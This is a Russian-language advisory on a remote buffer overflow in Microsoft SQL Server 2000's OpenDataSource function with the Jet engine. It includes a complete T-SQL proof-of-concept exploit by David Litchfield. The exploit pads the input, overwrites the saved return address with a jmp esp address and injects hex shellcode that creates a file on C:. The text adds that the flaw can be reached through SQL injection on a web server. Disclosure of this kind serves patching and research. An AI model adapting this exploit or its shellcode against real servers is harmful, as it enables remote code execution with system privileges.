В Microsoft SQL Server 2000 обнаружено пригодное для удаленного использования переполнение буфера в функции OpenDataSource в комбинации с MS Jet Engine. Так как проблема связанна с Jet Engine, другие программы, использующие Jet, так же могут быть уязвимы. 

Создавая специально обработанный SQL запрос
и используя функцию OpenDataSource, можно вызвать переполнение буфера в процессе SQL Server, получая удаленный контроль
над выполнением процесса. Любой код будет выполнен с системными привилегиями. Так как переполнение связанно с Unicode кодированием, оно очень просто в эксплуатации. Уязвимость может использоваться через Web-сервер, уязвимый к внедрению SQL кода. Приведенный ниже эксплоит, создает файл SQL-ODSJET-BO на диске с:. 

Уязвимость обнаружена в Microsoft SQL Server 2000 sp0-sp2

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002

declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2
-- change if running a different service pack

select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\' select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'')...xactions' exec
(@exploit)

Оставить мнение